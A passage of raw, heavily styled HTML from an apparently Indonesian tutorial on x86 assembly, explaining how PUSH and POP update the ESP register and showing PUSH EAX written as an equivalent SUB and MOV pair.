padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;" title="pushandpop" width="489" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 11px; line-height: 16px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 3px; padding-right: 3px; padding-top: 6px; text-align: center; vertical-align: baseline;"&gt;PUSH dan POP dalam Stack&lt;/div&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Reguster ESP menunjukkan alamat memori dari puncak stack. Setiap ada instruksi PUSH, maka register ESP berkurang (ingat stack bertumbuh ke alamat yang makin mengecil) karena puncak stack berubah. Begitu pula bila sebaliknya bila ada instruksi POP, maka register ESP akan bertambah.&lt;/div&gt;&lt;div class="wp_syntax" style="background-attachment: initial; background-clip: initial; background-color: #f9f9f9; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-size: 13px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 579px;"&gt;&lt;div class="code" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"&gt;&lt;pre class="asm" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; font-family: monospace; font-size: 12px; line-height: 1.333; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; white-space: pre; width: auto;"&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;PUSH&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;EAX&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;PUSH EAX di atas sama dengan dua instruksi di bawah ini:&lt;/div&gt;&lt;div class="wp_syntax" style="background-attachment: initial; background-clip: initial; background-color: #f9f9f9; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-size: 13px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 579px;"&gt;&lt;div class="code" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"&gt;&lt;pre class="asm" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; font-family: monospace; font-size: 12px; line-height: 1.333; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; white-space: pre; width: auto;"&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;SUB&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ESP&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;4&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;MOV&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;DWORD&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;PTR&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;SS&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #009900; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;[&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;esp&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #009900; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;]&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;EAX&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;PUSH EAX (4 byte) bisa dilakukan dengan mengurangkan ESP dengan 4, kemudian menyalin isi EAX ke memori di lokasi SS:[ESP], yaitu di segment stack pada offset yang ditunjuk oleh ESP. DWORD PTR menunjukkan bahwa lebar data yang akan disalin ke memori dalam instruksi MOV itu selebar 4 byte.&lt;/div&gt;&lt;div class="wp_syntax" style="background-attachment: initial; background-clip: initial; background-color: #f9f9f9; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-size: 13px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 579px;"&gt;&lt;div class="code" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"&gt;&lt;pre class="asm" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; font-family: monospace; font-size: 12px; line-height: 1.333; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; white-space: pre; width: auto;"&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;POP&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;EAX&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div align="justify" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;POP EAX di atas sama dengan dua instruksi di bawah ini:&lt;/div&gt;&lt;div class="wp_syntax" style="background-attachment: initial; background-clip: initial; background-color: #f9f9f9; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-size: 13px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 579px;"&gt;&lt;div class="code" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"&gt;&lt;pre class="asm" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; font-family: monospace; font-size: 12px; line-height: 1.333; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; white-space: pre; width: auto;"&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;MOV&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;EAX&lt;/span&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;,&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;DWORD&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; ou
